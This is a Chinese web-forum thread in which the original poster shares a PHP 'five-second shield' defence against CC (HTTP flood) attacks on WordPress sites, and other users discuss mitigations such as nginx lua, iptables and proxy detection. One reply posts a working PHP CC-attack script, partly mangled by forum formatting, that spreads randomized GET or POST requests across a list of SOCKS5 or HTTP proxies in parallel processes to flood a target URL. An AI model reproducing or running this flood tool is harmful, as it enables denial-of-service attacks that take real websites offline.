找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 78|回复: 8

5秒盾防CC(PHP通用代码)

[复制链接]

147

主题

1025

回帖

2575

积分

金牌会员

积分
2575
发表于 2019-3-2 14:17:12 | 显示全部楼层 |阅读模式
您的主题 Wordpress - 5秒盾防CC(PHP通用代码) 被 mtx 关闭,刚才的帖子被关闭了;

重新发一帖



这是个类似Cloudflare的防 cc 功能,利用的是五秒盾的原理,经过检测得到 cookie 的浏览器才能正常的访问你的网站了,当然了,面对数以万计的肉鸡,这代码还是无能为力的,所以说做人就要低调,别到处装逼,到时候被打了惨的还是自己。


代码见签名网站


WordPress 上传到主题/template/cc.php ;

调用代码
PHP 通用调用,在头部或主要文件内文件加入:
[ol]
  • [/ol]复制代码
    WordPress 调用,主题/header.php 第一行添加代码:
    [ol]
  • [/ol]复制代码

    搜索引擎蜘蛛已经过滤,不影响收录,还有未加上的可以自己补充。平时没攻击的时候建议不要开启,影响网站体验,配合《Nginx lua waf 简单防御 CC 攻击》效果更佳。
  • 回复

    使用道具 举报

    42

    主题

    514

    回帖

    1232

    积分

    金牌会员

    积分
    1232
    发表于 2019-3-2 16:00:12 | 显示全部楼层
    打到FPM了,只能说是基础缓解,最好在nginx上用lua写
    回复

    使用道具 举报

    34

    主题

    375

    回帖

    874

    积分

    高级会员

    积分
    874
    发表于 2019-3-2 14:26:46 | 显示全部楼层
    让我们来出一个对策

    CURLPROXY_SOCKS5改为CURLPROXY_HTTP即可食用http代理
    改为CURLPROXY_SOCKS4可使用socks4代理

    [ol][*]    [request data]\n";
    [*]    echo "Power by Kagurazaka Shira\n";
    [*]    exit;
    [*]}
    [*]
    [*]if (!file_exists("$argv[2]")) {
    [*]    exit("Invalid input file!\n");
    [*]}
    [*]
    [*]$method = strtolower($argv[4]);
    [*]if ($method != 'get' && $method != 'post') {
    [*]    exit("Invalid input method!\n");
    [*]}
    [*]$data = $argv[6] ?? ''; //请求参数
    [*]
    [*]if ($method == 'get' && !empty($data)) {
    [*]    $url = strpos($url, '?') ? ($url . '&' . $data) : ($url . '?' . $data);
    [*]}
    [*]
    [*]$url        = $argv[1]; //url
    [*]$array      = file($argv[2], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); //列表
    [*]$childcount = $argv[3]; //线程数
    [*]$array      = array_unique($array);
    [*]$part       = array();
    [*]$part       = partition($array, $childcount); //列表分割
    [*]
    [*]$end_time = time() + intval($argv[5]);
    [*]
    [*]for ($i = 0; $i  time()) {
    [*]            foreach ($part[$i] as $ip) {
    [*]                $rand_num = mt_rand();
    [*]                $rand_str = md5($rand_num);
    [*]                $url      = str_replace(['{:rand_num}', '{:rand_str}'], [$rand_num, $rand_str], $url);
    [*]                // var_dump($url);
    [*]                $curl = curl_init();
    [*]
    [*]                curl_setopt_array($curl, array(
    [*]                    CURLOPT_URL            => $url,
    [*]                    CURLOPT_RETURNTRANSFER => true,
    [*]                    CURLOPT_SSL_VERIFYHOST => false,
    [*]                    CURLOPT_SSL_VERIFYPEER => false,
    [*]                    CURLOPT_ENCODING       => "",
    [*]                    CURLOPT_PROXYTYPE      => CURLPROXY_SOCKS5,
    [*]                    CURLOPT_PROXY          => $ip,
    [*]                    CURLOPT_MAXREDIRS      => 10,
    [*]                    CURLOPT_TIMEOUT        => 30,
    [*]                    CURLOPT_HTTP_VERSION   => CURL_HTTP_VERSION_1_1,
    [*]                    // CURLOPT_CUSTOMREQUEST  => "GET",
    [*]                    CURLOPT_HTTPHEADER     => array(
    [*]                        "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
    [*]                        // "accept-encoding: deflate, br",
    [*]                        "accept-language: zh-TW,zh-HK;q=0.9,zh-CN;q=0.8,zh;q=0.7,ja-JP;q=0.6,ja;q=0.5,en-US;q=0.4,en-HK;q=0.3,en;q=0.2,ru;q=0.1,fa;q=0.1",
    [*]                        "cache-control: no-cache",
    [*]                        "dnt: 1",
    [*]                        "pragma: no-cache",
    [*]                        "upgrade-insecure-requests: 1",
    [*]                        "user-agent: " . $ua[array_rand($ua)],
    [*]                    ),
    [*]                ));
    [*]                if ($method == 'post' && !empty($data)) {
    [*]                    $data = str_replace(['{:rand_num}', '{:rand_str}'], [$rand_num, $rand_str], $data);
    [*]                    curl_setopt($curl, CURLOPT_POST, true);
    [*]                    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    [*]                }
    [*]                $response = curl_exec($curl);
    [*]                if (empty($response)) {
    [*]                    // echo "proxy {$ip} down.\n";
    [*]                    continue;
    [*]                } else {
    [*]                    echo "attack request use {$ip} success\n";
    [*]
    [*]                }
    [*]
    [*]            }
    [*]        }
    [*]
    [*]        exit;
    [*]    }
    [*]}
    [*]for ($j = 0; $j 复制代码
    回复

    使用道具 举报

    147

    主题

    1025

    回帖

    2575

    积分

    金牌会员

    积分
    2575
     楼主| 发表于 2019-3-2 15:22:34 | 显示全部楼层
    那就通过HTTP协议头中的REMOTE_ADDR、HTTP_VIA、HTTP_X_FORWARDED_FOR来判断是代理禁止访问;

    或者通过WebRTC的JS,HTML5的API检测代理并禁止
    回复

    使用道具 举报

    4

    主题

    629

    回帖

    1286

    积分

    金牌会员

    积分
    1286
    发表于 2019-3-2 16:01:54 | 显示全部楼层
    你起码把ip加到防火墙drop掉才有效果

    回复

    使用道具 举报

    181

    主题

    1436

    回帖

    3481

    积分

    论坛元老

    积分
    3481
    发表于 2019-3-2 16:46:59 | 显示全部楼层


      都来到后端了 ,iptable 或者 nginx 就应该禁了  
    回复

    使用道具 举报

    197

    主题

    1162

    回帖

    2975

    积分

    金牌会员

    积分
    2975
    发表于 2019-3-2 17:18:32 | 显示全部楼层
    反正都到你的服务器了,你禁不禁根本无所谓,攻击目的已经达到,你再去禁止,怎么说呢,就是别人打你一巴掌,你然后摸摸脸说,不疼不疼,有啥用
    回复

    使用道具 举报

    22

    主题

    570

    回帖

    1226

    积分

    金牌会员

    积分
    1226
    发表于 2019-3-2 17:45:25 | 显示全部楼层
    又看到了大佬了
    回复

    使用道具 举报

    147

    主题

    1025

    回帖

    2575

    积分

    金牌会员

    积分
    2575
     楼主| 发表于 2019-3-3 13:49:57 | 显示全部楼层

    Kslr 发表于 2019-3-2 16:00

    打到FPM了,只能说是基础缓解,最好在nginx上用lua写

    https://www.yunloc.com/167.html

    已经有Nginx_lua_waf教程了
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    Archiver|手机版|小黑屋|Discuz! X

    GMT+8, 2025-4-19 22:30 , Processed in 0.018242 second(s), 4 queries , Gzip On, Redis On.

    Powered by Discuz! X3.5

    © 2001-2024 Discuz! Team.

    快速回复 返回顶部 返回列表